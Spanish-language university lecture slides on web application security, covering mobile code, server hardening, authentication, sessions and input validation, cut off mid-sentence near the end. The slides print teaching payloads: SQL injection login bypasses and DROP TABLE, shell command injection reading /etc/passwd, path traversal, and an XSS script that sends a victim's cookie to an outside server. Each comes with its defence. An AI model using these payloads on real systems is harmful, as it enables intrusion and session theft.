Seguridad en Las Aplicaciones Web

Seguridad en Sistemas Informticos e Internet
Seguridad en las
Aplicaciones Web

LabIS
2

http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos
Universidad de Sevilla
Seguridad en Sistemas Informticos e Internet 2
Contenido
Introduccin
Seguridad en el Cliente
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Contenido
Introduccin
Aplicaciones Web
Cunta seguridad es necesaria?
Amenazas ms importantes a las aplicaciones web
Guas de seguridad
Contenido
Introduccin
Cdigo mvil
Lenguajes de Macro: VBA
Lenguajes de Script: JavaScript y VBScript
Applets Java
Controles ActiveX
Contenido
Introduccin
Servidor Web
Servidor de Bases de Datos
Lenguajes de servidor
Contenido
Introduccin
Control de acceso
Validacin de datos de entrada
Programacin segura
Contenido
Introduccin
SSL
Programacin
Teora Prctica
Viernes 7 Introduccin
Seguridad en el cliente
1. Cdigo mvil
Jueves 20 Seguridad en el servidor
Seguridad en la aplicacin:
control de acceso
2. Autentificacin bsica HTTP
Viernes 21 Seguridad en la aplicacin:
control de acceso
3. Control de acceso
Jueves 4 Seguridad en la aplicacin:
validacin de datos de entrada
4. Validacin de datos
Viernes 5 Seguridad en la aplicacin:
programacin segura
Seguridad en la comunicacin
5. SSL en Apache
Contenido
Introduccin
Introduccin
Aplicaciones Web
Amenazas ms importantes a las
aplicaciones web
Guas de seguridad
Introduccin
Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el
protocolo HTTP para interactuar con los usuarios u
otros sistemas
El cliente utilizado por los usuarios es
habitualmente un navegador
Los problemas de seguridad pueden provenir de los
programas web en los que se apoyan, aunque en
su mayor parte son consecuencia de fallos en la
lgica y el diseo de la propia aplicacin
Introduccin
La seguridad supone un coste econmico y de
eficiencia. Hay que disponer de la adecuada, ni ms
ni menos
Para ello hay que tener en cuenta tres reglas:
El riesgo cero no es prctico
Hay diversas formas de mitigar el riesgo
No se puede gastar un milln para proteger un
cntimo
Introduccin
Amenazas ms importantes: Top 10
The Open Web Application Security Project (OWASP)
The Ten Most Critical Web Application Security
Vulnerabilities
www.owasp.org/documentation/topten
Introduccin
Top Ten de amenazas
1. Entrada no validada
2. Control de acceso roto
3. Administracin de sesin y autentificacin rota
4. Fallos de Cross Site Scripting (XSS)
5. Desbordamiento del buffer
6. Fallos de inyeccin
7. Manejo inadecuado de errores
8. Almacenamiento inseguro
9. Negacin de servicio
10. Administracin de configuracin insegura
Introduccin
Guas de seguridad
Es conveniente tener en cuenta unos principios de
alto nivel al disear aplicaciones web:
Validar la entrada y la salida
Fallar con seguridad
Mantener un esquema de seguridad simple
Utilizar componentes de confianza
La seguridad a travs de la oscuridad no funciona
Mantener los privilegios al mnimo y separados
Contenido
Introduccin
Cdigo mvil
JavaScript
VBScript
Applets Java
Controles ActiveX
Cdigo mvil
Cdigo que circula por la red y se ejecuta en una
mquina remota
Aparece incrustado en un documento HTML. Un
cliente de correo o un navegador que carguen el
documento lo ejecutarn en la mquina cliente
Potencia la funcionalidad de los documentos HTML
pero entraa riesgos de seguridad. Un cdigo mvil
puede obtener informacin acerca de un sistema o
un usuario y enviarla a una mquina remota
Cdigo mvil
Puede estar incrustado directamente en el
documento, caso de los lenguajes de script como
JavaScript y VBScript
Tambin puede residir en un servidor y ser
invocado mediante una referencia en el documento,
caso de las applets de Java o los controles ActiveX
El cdigo ActiveX suele permanecer en el sistema
una vez que se instala, mientras que las applets de
Java se ejecutan una sla vez y no se almacenan
en la mquina del usuario
Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil:
Lenguajes de macro como Visual Basic for
Applications (VBA)
Scripts como JavaScript y VBScript
Applets de Java
Controles ActiveX
Un mtodo de proteccin comn es tener siempre
actualizado el software
Es un lenguaje de macro propio de Microsoft Office,
aunque otras aplicaciones lo han adoptado
Permite el acceso a todas las funciones de la
aplicacin, incluyendo el acceso a disco
La macro est incrustada en el documento

Las versiones previas a Office 97 ejecutaban las
macros al abrir los documentos sin pedir
autorizacin al usuario. Una macro poda contener
un virus y causar grandes perjuicios
Al ejecutarse podra copiarse en la plantilla normal,
con lo que aparecera en cualquier documento
creado con la aplicacin y se expandira al
compartirse los documentos
Ejemplo: Melissa (1999), creado con VBA en un
documento Word. Se reenviaba a los primeros 50
contactos de Outlook
Para protegerse de los virus de macro hay que
tener mucha precaucin al permitir la ejecucin de
macros en un documento. Slo debe hacerse
cuando la fuente de procedencia del documento
sea fiable
JavaScript
Fue diseado para aadir interactividad a una
pgina web
Un cdigo JavaScript tiene acceso nicamente a la
informacin contenida en la pgina en la que est
incrustado
Es bastante seguro. Algunos problemas del pasado
han estado relacionados con implementaciones de
JavaScript por parte de Microsoft y Netscape. La
madurez de la tecnologa ha permitido solucionarlos
JavaScript
El nico problema serio est relacionado con los
servicios de correo Web
Si se recibe un correo con un cdigo malicioso, al
visualizarlo podra hacer cosas como leer los
mensajes del usuario, enviar mensajes en su
nombre, leer una cookie o abrir una falsa ventana
de identificacin para pedir al usuario la
confirmacin de su password. Podra usar marcos
para continuar ejecutndose mientras visualizamos
otros mensajes o realizamos otras tareas
Apareci por primera vez en Hotmail y provoc que
los servicios de correo web decidieran neutralizar el
cdigo JavaScript de los mensajes recibidos
JavaScript
Otra fuente de problemas es la posibilidad que
ofrece de comunicarse con los plug-ins del
navegador (p. Ej. Shockwave player). Si el plug-in
tiene acceso a disco, JavaScript tambin lo tiene
La mejor proteccin es tener el software
actualizado. Si se utiliza un servicio de correo web
hay que verificar que tiene activados filtros contra
el cdigo JavaScript. Tambin se puede deshabilitar
JavaScript o pedir confirmacin cuando se intente
ejecutar cdigo JavaScript, aunque puede resultar
muy pesado
Netscape permite deshabilitar JavaScript de forma
independiente para navegador y lector de correo
VBScript
Slo funciona con Internet Explorer y Outlook, por
lo que no es tan popular como JavaScript
Ofrece una funcionalidad similar pero con una
notable excepcin: puede interactuar con los
controles ActiveX instalados en la mquina
sta es la principal fuente de problemas, ya que
carece de operaciones potencialmente peligrosas
Los controles ActiveX pueden ser marcados como
safe o unsafe for scripting de forma que se impida
a los scripts acceder a ellos
Applets Java
Normalmente no pueden leer ni escribir datos en el
disco local ni comunicarse con otro recurso de la
red salvo el servidor del que procede, lo cual
garantiza que no tendrn comportamiento malicioso
Excepcin: pueden crear hilos que se ejecutan
en segundo plano. Estos hilos pueden seguir en
ejecucin aunque se cierre el navegador y pueden
tener un efecto poco pernicioso, como reproducir
msica de fondo. La nica forma de pararlos es
cerrar todas las ventanas del navegador
Efecto ms negativo: el applet crea hilos que
consumen mucha memoria y/o CPU haciendo ms
lento el sistema y llegando incluso a colapsarlo
Controles ActiveX
Son la respuesta de Microsoft a las applets de Java
Slo funcionan bsicamente con Internet Explorer y
Outlook
La seguridad de los controles ActiveX se basa en los
certificados digitales. Los controles estn
firmados digitalmente para garantizar su
autenticidad
Al cargar el control IE presenta el certificado digital
y pide autorizacin para instalarlo. Pueden existir
controles sin firma, aunque sern directamente
rechazados por IE si est configurado
correctamente
Controles ActiveX
El problema se da cuando un control est mal
construido, proporcionando agujeros de seguridad
a los atacantes
Un problema habitual en algunos controles es el
buffer overrun, padecido por ejemplo por el control
de Adobe Acrobat Reader 4.0 y que permite la
ejecucin de cdigo arbitrario en la mquina del
usuario
Cuando se construye un control ActiveX que puede
realizar tareas potencialmente peligrosas (como
leer o escribir en disco) hay que tener la precaucin
de marcarlo como unsafe for scripting para que no
pueda ser llamado desde VBScript
Prctica 1: Cdigo mvil
Creacin de un formulario
Validacin de datos con JavaScript
Formas de saltarse la validacin JavaScript
Contenido
Introduccin
Servidor Web
El desarrollo de una aplicacin web requiere de una
serie de herramientas: servidores web, servidores
de aplicaciones, servidores de bases de datos,
lenguajes de servidor, etc.
Estas herramientas pueden plantear problemas
que comprometan a la aplicacin:
Vulnerabilidades debidas al uso de versiones no
actualizadas
Configuraciones por defecto inadecuadas
Activacin de cuentas por defecto
Las herramientas deben estar actualizadas y
bien configuradas para impedir ataques a la
aplicacin
Servidor Web
Proporciona muchos servicios y es muy probable
que algunos de ellos no sean necesarios para el
funcionamiento de la aplicacin web
En tal caso es conveniente deshabilitarlos
Para ello el servidor dispone de mltiples opciones
de configuracin que es conveniente adaptar a las
circunstancias concretas de la aplicacin web
Servidor Web
Precauciones a tener en cuenta:
Establecer permisos adecuados para los ficheros
del servidor y los documentos. Es conveniente
definir un usuario y grupo especiales (web, www)
Listado automtico de directorios. Puede ser
conveniente pero proporciona informacin sensible
Seguimiento de enlaces simblicos. Peligroso si se
enlazan ficheros externos al rbol de documentos
Servidor Web
Precauciones a tener en cuenta (cont):
Ejecucin de CGI. Slo debe permitirse a usuarios
de confianza y restringirlo a un directorio especial
Server side includes (SSI). Es una fuente de
peligro y puede tener que ser restringido a
usuarios de confianza o deshabilitado (en
particular la opcin exec). Ejemplo:
... cdigo HTML

... cdigo HTML
Servidor Web
Ejercicio: Configuracin de Apache
Servidor Web
Es muy conveniente revisar peridicamente los
ficheros de log (access_log y error_log en Apache)
para detectar posibles ataques al servidor
Servidor Web
Ejercicio: Ficheros de log en Apache
Proporciona acceso a bases de datos, fundamental
en toda aplicacin web importante. Riesgos:
Descubrimiento de informacin acerca de los datos
de conexin al servidor (usuario y clave),
informacin sensible almacenada en la base de
datos (tarjetas de crdito) o informacin sobre la
estructura de la base de datos
Modificacin de las instrucciones SQL enviadas al
servidor, construidas de forma dinmica a partir de
datos recibidos del usuario y por tanto
potencialmente peligrosos (Inyeccin SQL)
Acceso no autorizado a informacin restringida
Hay que vigilar la configuracin por defecto del
servidor, que puede incluir bases de datos y
usuarios predefinidos que conviene eliminar
Algunas recomendaciones:
No ejecutar el servidor como root
No dar a ningn usuario salvo al root permiso de
acceso a la tabla de usuarios
Asegurarse de que el root tiene un password
Restringir el acceso remoto al servidor
No dar a un usuario ms permisos que los
estrictamente necesarios
Almacenar los datos sensibles de forma encriptada

En el cdigo de la aplicacin hay que tener, entre
otras, las siguientes precauciones:
Validar las instrucciones SQL antes de enviarlas al
servidor
No revelar informacin sobre la base de datos en
los mensajes de error (esquema, naturaleza de los
datos almacenados, fragmentos SQL)
Proteger el cdigo donde aparezca informacin
sensible para el acceso al servidor
Ejercicio: Configuracin de MySQL
ASP, JSP, PHP
Aumentan enormemente la potencia de los
documentos HTML al permitir la comunicacin con
aplicaciones residentes en el servidor, y muy
especialmente con servidores de bases de datos
Esta potencialidad conlleva riesgos. Hay que
revisar a fondo la configuracin para eliminar
funcionalidades no utilizadas y seguir prcticas
adecuadas de programacin, sobre todo en
funciones con vulnerabilidades conocidas
Hay que proteger el cdigo fuente para evitar
que pueda ser visualizado, especialmente cuando
contiene informacin sensible como pueden ser los
datos de conexin al servidor de bases de datos
Una medida razonable consiste en sacar el cdigo
fuente sensible fuera de la raz de la web
Ejercicio: Errores en cdigo PHP
Contenido
Introduccin
Control de acceso
Programacin segura
Control de acceso
Un aspecto muy importante de una aplicacin web
es el control de acceso de los usuarios a zonas
restringidas de la aplicacin
Aqu intervienen dos conceptos:
Autentificacin
Autorizacin
Autentificacin
Es el proceso de determinar si un usuario es quien
dice ser
Esto se puede hacer de varias maneras. Algunas de
ellas son:
Autentificacin HTTP bsica
Autentificacin basada en la aplicacin
Cuando se requiere una URI protegida, el servidor
web devuelve un cdigo HTTP/1.1 401
Authorization required, indicando al cliente que
muestre una ventana de dilogo con un nombre de
usuario y una contrasea
Cuando se pulsa el botn de envo estos datos
llegan al servidor que comprueba si son correctos y
en caso afirmativo sirve el recurso solicitado
Ventajas:
Es muy simple de implementar
Se pueden fijar restricciones de acceso por usuario
y contrasea o por otros conceptos como por
ejemplo el dominio o direccin IP de la mquina
Inconvenientes:
Los datos viajan por la red sin encriptar
No se puede hacer logout, la nica forma es cerrar
el navegador
No hay control sobre el diseo de la ventana de
dilogo
Ejercicio: proteccin de un directorio del servidor
Prctica 2: Autentificacin HTTP
bsica
Creacin de una pgina web
Creacin de un usuario
Creacin de un fichero .htaccess
Configuracin del servidor web Apache
Autentificacin basada en la
aplicacin
La propia aplicacin puede implementar un
mecanismo de autentificacin que implica la
presentacin de un formulario para que el usuario
introduzca sus credenciales y el uso de una base de
datos para verificar la correccin de stas
Es ms costosa pero ms flexible ya que
permite establecer diferentes permisos y niveles de
acceso en funcin del usuario que solicita la
autentificacin
Passwords
Siempre que se utilizan passwords para autentificar
usuarios hay que seguir unas recomendaciones:
Restringir los valores para los nombres de
usuarios. Los que representan nombres reales
suponen dar pistas a los atacantes
Almacenar los passwords de forma segura,
protegiendo el acceso a la base de datos
Seguir reglas de seguridad para su eleccin
Bloquear una cuenta cuando se detecta un nmero
determinado de intentos de acceso incorrectos
Actualizar los passwords peridicamente y
mantener un histrico para evitar repeticiones
Passwords
Cualquier sistema que requiera autentificacin debe
tener una poltica de recuperacin de
passwords en caso de olvido del usuario
Esto se puede hacer de dos formas:
Automticamente
A travs de tcnicos de soporte
Passwords
En el caso automtico hay varias estrategias:
Plantear durante el registro del usuario varias
preguntas a las que slo l puede responder
Enviar el password por correo electrnico. Es
recomendable que tenga fecha de expiracin y se
pida su cambio cuando el usuario se conecte
Comunicar el password por telfono al usuario a
requerimiento del mismo
Deben registrarse todos los intentos de
recuperacin y fijar un lmite de tiempo pasado el
cual sera preciso recurrir al tcnico
Passwords
En el caso del tcnico hay que prever el servicio a
personas de diferentes pases con lenguas
diferentes
La intervencin humana da mayor seguridad, pero
es ms costosa y ms molesta para el usuario
Una alternativa a la presencia fsica puede ser el
uso del fax para enviar la documentacin que
certifique la identidad del usuario
Sesiones
Una vez que el usuario se ha autentificado
introduciendo su nombre de usuario y su clave, es
preciso mantener esta autentificacin en cada
conexin subsiguiente
Para evitar tener que mostrar nuevamente la
ventana de autentificacin se recurre habitualmente
al uso de sesiones, un mecanismo que permite
mantener el estado entre diferentes peticiones
HTTP
Sesiones
El mecanismo es el siguiente:
Una vez autentificado, al usuario se le asigna un
identificador de sesin
Este identificador acompaar invisiblemente a
cada peticin del usuario, con lo cual se
garantizar que la peticin proviene de un usuario
previamente autentificado
El identificador de sesin se suele almacenar en la
propia mquina del cliente, mediante una cookie
Slo se debe almacenar el identificador de la
sesin; cualquier otro dato del usuario se
almacenar en el servidor
Sesiones
La gestin de las sesiones es responsabilidad del
programador. Normalmente los lenguajes de
servidor disponen de funciones diseadas
especficamente para ello
En PHP se dispone de las siguientes funciones:
session_start
session_register
session_is_registered
session_unregister
session_destroy
Sesiones
Un buen sistema de gestin de sesiones debe:
Establecer un tiempo lmite de vida para la sesin
Regenerar el identificador de sesin cada cierto
tiempo
Detectar intentos de ataque de fuerza bruta con
identificadores de sesin
Requerir una nueva autentificacin del usuario
cuando vaya a realizar una operacin importante
Proteger los identificadores de sesin durante su
transmisin
Destruir la cookie al finalizar la sesin para evitar
el acceso de otro usuario en un entorno pblico
Sesiones
Ejercicio: sesiones en PHP
Autorizacin
Es el acto de comprobar si un usuario tiene el
permiso adecuado para acceder a un cierto fichero
o realizar una determinada accin, una vez que ha
sido autentificado
Autorizacin
Disear el mecanismo de control de acceso exige:
Determinar la informacin que ser accesible por
cada usuario
Determinar el nivel de acceso de cada usuario a la
informacin
Especificar un mecanismo para otorgar y revocar
permisos a los usuarios
Proporcionar funciones a los usuarios autorizados:
identificacin, desconexin, peticin de ayuda,
consulta y modificacin de informacin personal,
cambio de password, etc.
Ajustar los niveles de acceso a la informacin a la
poltica de seguridad de la organizacin
Autorizacin
Modelos para el control de acceso:
Control de Acceso Discrecional: se basa en la
identidad de los usuarios o su pertenencia a ciertos
grupos. El propietario de una informacin puede
cambiar sus permisos a su discrecin
Control de Acceso Obligatorio: cada pieza de
informacin tiene un nivel de seguridad y cada
usuario un nivel de acceso, lo cual permite
determinar los permisos de acceso de cada usuario
a cada pieza de informacin
Control de Acceso Basado en Roles: cada
usuario tiene un rol dentro de la organizacin y en
funcin de l unos permisos de acceso
Autorizacin
Para la implementacin del mecanismo de control
de acceso en la aplicacin suele recurrirse al uso de
bases de datos
Prctica 3: Control de acceso
Disear un mecanismo de control de acceso
Definir usuarios
Especificar nivel de acceso de los usuarios
El problema ms frecuente que presentan las
aplicaciones web es no validar correctamente
los datos de entrada
Esto da lugar a algunas de las vulnerabilidades ms
importantes de las aplicaciones, como la Inyeccin
SQL, el Cross-Site Scripting y el Buffer Overflow
Veamos los siguientes aspectos:
Fuentes de entrada
Inyeccin
Estrategias de proteccin
Vulnerabilidades especficas
Fuentes de entrada
Los datos de entrada pueden provenir de cuatro
fuentes diferentes:
Cadenas URL
Cookies
Cabeceras HTTP
Campos de formularios
Fuentes de entrada cadenas URL
Cuando se enva un formulario con el mtodo GET,
los nombres y valores de todos los elementos del
formulario aparecen detrs de la URL de la pgina
invocada:
http://www.victim.com/example?accountnumber=12345
Es muy fcil modificar esta cadena:
http://www.victim.com/example?accountnumber=67891
Fuentes de entrada cadenas URL
La aplicacin debe chequear el valor recibido
aunque proceda de una lista desplegable con
unos valores predefinidos, ya que el usuario ha
podido modificar manualmente la URL
Este problema se da tambin en los hipervnculos
que incluyen parmetros
Siempre que se enven datos sensibles hay que
acompaarlos de un identificador de sesin y
comprobar que el usuario asociado a la sesin tiene
acceso a la informacin requerida
Fuentes de entrada - cookies
Es un mtodo habitual de mantener el estado o
almacenar preferencias del usuario.
Pueden ser modificadas por el cliente para
engaar al servidor. El peligro depender de lo que
se almacene en la cookie. Por ejemplo, la cookie
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
puede ser modificada fcilmente por:
Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Lo mejor es almacenar en la cookie
nicamente el identificador de sesin,
manteniendo la informacin relevante en el servidor
Fuentes de entrada - cabeceras
Las cabeceras HTTP contienen informacin de
control enviadas entre el cliente y el servidor. Por
ejemplo,
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
Fuentes de entrada - cabeceras
Si la aplicacin web utiliza las cabeceras recibidas
del cliente, hay que tener en cuenta que stas
pueden haber sido manipuladas, por lo que deben
ser verificadas
Por ejemplo, sea la siguiente cabecera:
Accept-Language: es
Si el contenido de la cabecera se utiliza
directamente en una consulta a la base de datos,
podra utilizarse para inyectar rdenes SQL
modificando la cabecera

Fuentes de entrada - formularios
Los formularios pueden ser modificados para enviar lo
que el usuario desee. Basta con guardar la pgina,
modificar el cdigo y recargarlo en el navegador. Las
limitaciones impuestas en el propio formulario
se pueden saltar perfectamente. Ejemplo:
<input type=text name="titulo" maxlength="100">
Este elemento podra modificarse as:
<input type=text name="titulo" maxlength="100000">
con el consiguiente riesgo para la aplicacin si el valor
no se chequea adecuadamente
Los campos ocultos (HIDDEN) tambin son
vulnerables a este ataque, por lo que no deben
utilizarse para almacenar informacin sensible
Es mucho ms seguro utilizar sesiones y
almacenar la informacin sensible en el servidor
Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N">
<input name="price" type="hidden" value="199.99">
Ejercicio: validacin de datos de formularios con
la herramienta WebGoat
Descarga e instalacin de WebGoat
Ejercicio: hidden field tampering
Ejercicio: unchecked email
Ejercicio: JavaScript validation
Inyeccin
Consiste en inyectar en la aplicacin datos
introducidos por el usuario. Esto es muy habitual y
de por s no es peligroso
Inyeccin de datos
Ejemplo: sea la siguiente instruccin:
sql= "SELECT * FROM noticias WHERE id = $id";
Pulsando en el artculo de inters para el usuario se
convierte en:
sql= "SELECT * FROM noticias WHERE id = 228";
Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";
Una vez identificado el usuario se convierte en:
print "<H2>Bienvenido/a, Antonio.</H2>";
Conectores y payload
Idea: suministrar datos que al ser inyectados en la
aplicacin causen un efecto particular
El ataque est completamente contenido en los
datos suministrados por el atacante, que se pueden
dividir en tres partes:
Conector de prefijo
Payload
Conector de sufijo
El ataque est contenido en el payload y los
conectores lo encajan en la aplicacin
Para elegirlos es preciso un amplio conocimiento del
lenguaje, las herramientas y las tcnicas utilizadas
en la aplicacin
Ejemplo: consulta SQL para una interfaz de
identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login =
'$userLogin' AND password = '$userPassword';
Si inyectamos un ataque en el campo userLogin con
los siguientes componentes:
prefijo payload sufijo
OR 1=1 OR login=
obtendremos la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR
1=1 OR login ='' AND password = ''
que nos devolver todos los usuarios de la tabla
Con un mayor conocimiento podemos modificar el
ataque para reducir el nmero de caracteres
empleados, que podra estar limitado. Por ejemplo,
el ataque

producira la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR
'1'='1' AND password = ''
prefijo payload sufijo
OR 1=1
La eleccin de los conectores puede verse facilitada
por factores como acceso al cdigo fuente o
mensajes de error detallados
Ms importante que esto es el hecho de utilizar
tcnicas de programacin conocidas en el
desarrollo de las aplicaciones
Existen tres modelos posibles a la hora de
disear una estrategia de validacin de datos:
Aceptar nicamente datos vlidos conocidos
Rechazar datos no vlidos conocidos
Sanear todos los datos
Aceptar nicamente datos vlidos conocidos.
Es la estrategia ms adecuada. Slo deben
aceptarse aquellos datos que se adaptan a lo
esperado. Por ejemplo, si un password debe
contener letras de la A a la Z y dgitos del 0 al 9,
debe verificarse que la entrada es una cadena, que
slo contiene esos caracteres y que tiene una
longitud vlida
Aceptar nicamente datos vlidos conocidos.
En general hay que chequear lo siguiente:
Tipo de dato
Longitud mxima y mnima
Datos obligatorios
Si hay una lista enumerada de posibles valores,
comprobar que est en ella
Si hay un formato o plantilla especfico, comprobar que
lo cumple
Si es texto libre, que slo contiene caracteres vlidos
Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero
tambin teniendo en cuenta que pueden unirse
para formar, por ejemplo, una consulta SQL
Rechazar datos no vlidos conocidos. Implica
conocer todos los posibles datos peligrosos, lo cual
es muy difcil
Sanear todos los datos. Consiste en transformar
los datos en una representacin que no presente
riesgos. Por ejemplo, transformar (una comilla
simple) en (dos comillas simples) o < en <. Es
buena como complemento a la primera estrategia
aunque no tanto para utilizarse sla porque es
difcil sanear todos los datos
Nunca debe confiarse en la validacin de datos en el
cliente ya que puede puentearse con facilidad. Toda
la validacin de datos debe realizarse en el servidor
Conceptos errneos sobre la validacin en el cliente:
El atributo MAXLENGTH limitar los caracteres que el
usuario puede introducir
El atributo READONLY evitar que el usuario pueda
modificar un valor
Los campos de tipo HIDDEN no se pueden modificar
Las cookies no se pueden modificar
Las listas desplegables o botones de radio limitan los
valores de entrada
Todos los campos del formulario sern enviados
Slo los campos del formulario sern enviados
Prctica 4: Validacin de datos
Validacin de datos en el servidor
Creacin de un formulario en PHP con validacin de
los datos de entrada
Uso de expresiones regulares para validar los datos
de entrada
Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas que
resultan de una falta de proteccin adecuada ante
los datos de entrada son:
Inyeccin SQL
Inyeccin de rdenes del SO
Inyeccin HTML (Cross-site Scripting o XSS)
Path Traversal
Buffer Overflow
Inyeccin SQL
Consiste en inyectar un mandato dentro de una
consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE
codigo = $codigo;
siendo $codigo un valor introducido desde un
formulario. Si el valor es 23 la consulta ser:
SELECT titulo FROM libros WHERE codigo = 23
Si el valor es 23; DROP TABLE users la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP
TABLE users
que destruira la tabla de usuarios de MySQL
Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una
aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE
username = $username AND password =
$password;
Si se introducen los valores juan como username y
jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan
AND password = jj.ssii
Inyeccin SQL
Se puede saltar la comprobacin del password
introduciendo el valor juan-- como username o el
valor OR = como password. Las consultas que
quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan--
AND password =
SELECT id FROM usuarios WHERE username = juan AND
password = OR =
En el primer caso ntese que -- es un comentario
de lnea en MySQL y provoca que se ignore todo lo
que viene tras l en la lnea
Inyeccin SQL
La inyeccin SQL puede utilizarse para:
Cambiar valores de las consultas
Concatenar varias consultas
Aadir llamadas a funcin y procedimientos
almacenados a una consulta
Para evitar la inyeccin SQL es muy importante
validar los valores que se han de integrar en
la consulta SQL. En el primer caso, por ejemplo,
$codigo debe ser un valor entero
Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un
formulario
Casi todos los lenguajes de programacin disponen
de funciones que permiten la ejecucin de rdenes
del Sistema Operativo
En PHP, por ejemplo, se tienen las funciones exec()
y system(). Estas funciones son tiles para tareas
como el manejo de ficheros o el envo de correo,
pero plantean serios riesgos ya que se pueden
manipular para:
Alterar las rdenes ejecutadas
Alterar los parmetros pasados a las rdenes del
sistema
Ejecutar rdenes adicionales

Sea, por ejemplo, el siguiente cdigo PHP:
system (ls $directorio);
Si el valor de la variable $directorio fuese /tmp;
cat /etc/passwd, se mostrara el fichero de
passwords del sistema ya que se ejecutara la
orden
ls /tmp; cat /etc/passwd

Una solucin a este problema es utilizar la funcin
escapeshellarg(), que coloca unas comillas
englobando al parmetro y elimina las que pudiera
haber dentro del mismo:
system (ls . escapeshellarg($directorio));
De esta manera, la orden que se ejecutara ahora
sera
ls /tmp; cat /etc/passwd
La mejor proteccin contra este ataque es limitar
toda informacin pasada a las rdenes del sistema
nicamente a valores conocidos
Si estos valores no pueden ser enumerados, la
alternativa es limitar el tamao al mnimo valor
posible y sanear los caracteres que pudieran
utilizarse para ejecutar otras rdenes
Tambin, y en la medida de lo posible, deben
utilizarse las funciones de biblioteca en lugar de
invocar rdenes del SO
Ejercicio: inyeccin de una orden del sistema
operativo desde un formulario
Inyeccin HTML (Cross-site Scripting)
Consiste en insertar en un texto (p.ej. un mensaje de
un foro) cdigo malicioso (p.ej. JavaScript). Cuando
otro usuario visualice el texto el cdigo se ejecutar
en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>
cuando un usuario lo visualice aparecer su cookie en
una ventana. Esto no es grave ya que cada usuario
visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http:
//targetsite.com/'+document.cookie+'")</script>
dejar la cookie del usuario en el log del servidor del
atacante, que podra hacerse con la sesin
Hay varios tipos de cosas que se pueden insertar
en el cdigo HTML de esta manera:
Marcas HTML, como <SCRIPT>, <A>, <IMG> o
<IFRAME>. El efecto se produce cuando el texto
se visualiza en el navegador de otro usuario
Eventos, como ONCLICK, asociados habitualmente
a elementos de formulario

Para evitar este ataque es conveniente filtrar todos
los caracteres que tienen un significado especial en
HTML como , &, < y >. Los lenguajes disponen de
funciones especficas para ello. En PHP existe la
funcin htmlspecialchars()
Ejemplo: el siguiente cdigo muestra el campo
mensaje de un registro recuperado de una tabla
print <TD>;
print $fila[mensaje];
print </TD>;
Si el mensaje contiene caracteres HTML puede ser
peligroso. Para solucionarlo se modifica el cdigo:
print <TD>;
print htmlspecialchars($fila[mensaje]);
print </TD>;
Esta solucin no siempre es vlida. En el cdigo
//llamada: pag.php?imagen=javascript:alert(document.cookie);
print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>;
// resultado: <IMG SRC=javascript:alert(document.cookie);>
la funcin htmlspecialchars() no evita que se ejecute
el cdigo malicioso. La nica solucin es aceptar
siempre datos garantizados como buenos. En este
caso, slo se debe aceptar un parmetro que
corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i',
$_GET[imagen]))
print <IMG SRC= . $_GET[imagen] . >;
Ejercicio: almacenamiento de un script en el
servidor y posterior visualizacin del mismo
Path Traversal
Una aplicacin es vulnerable a este tipo de ataques
cuando el atacante puede construir peticiones que
le permiten acceder a ficheros localizados fuera de
la raz de la Web, como por ejemplo /etc/passwd
Para ello utiliza caracteres como ../ en los
parmetros que representan nombres de fichero. Si
el atacante accede a directorios del sistema, podra
llegar incluso a ejecutar mandatos del sistema
Path Traversal
Sea por ejemplo el siguiente cdigo PHP:
include (/lib/ . $cabecera);
Si la variable $cabecera toma el valor
../etc/passwd, se mostrara el fichero de
passwords del sistema
Path Traversal
Para evitar estos ataques hay que utilizar las
funciones de normalizacin de rutas que suelen
tener los lenguajes
En PHP para chequear nombres de ficheros se
utilizan las funciones realpath() y basename(). La
primera convierte direcciones relativas en absolutas
y la segunda toma una ruta y devuelve la parte
correspondiente al nombre del fichero. En el
ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera));
if ($cabecera2 == $cabecera)
include (/lib/ . $cabecera);
Path Traversal
Otra defensa contra los nombres de ficheros
incorrectos en PHP es la directiva de configuracin
open_basedir:
open_basedir = /alguna/ruta // en php.ini
PHP limitar las operaciones sobre ficheros al
directorio especificado y sus subdirectorios. As, por
ejemplo,
include (/alguna/ruta/lib.php); // permitido
include (/otra/ruta/lib.php); // da un error
// de ejecucin
Path Traversal
Ejercicio: acceso a ficheros del sistema
Buffer Overflow
Este ataque consiste en corromper la pila de
ejecucin de una aplicacin enviando unos datos de
entrada especialmente preparados con tal fin
El objetivo es conseguir la ejecucin de un cdigo
enviado por el atacante y tomar el control de la
mquina
Estas vulnerabilidades no son fciles de detectar y,
de hacerse, son muy difciles de explotar
Buffer Overflow
Las vulnerabilidades pueden estar presentes en las
herramientas (como el servidor web) o bibliotecas
externas, siendo en tal caso conocidas
pblicamente y por tanto ms peligrosas. La nica
proteccin contra ellas consiste en tener
actualizadas todas las herramientas
Tambin pueden encontrarse en la aplicacin,
siendo ms difciles de explotar porque habr
menos atacantes. Adems, en caso de descubrirlas
no ser fcil aprovecharlas ya que desconocen el
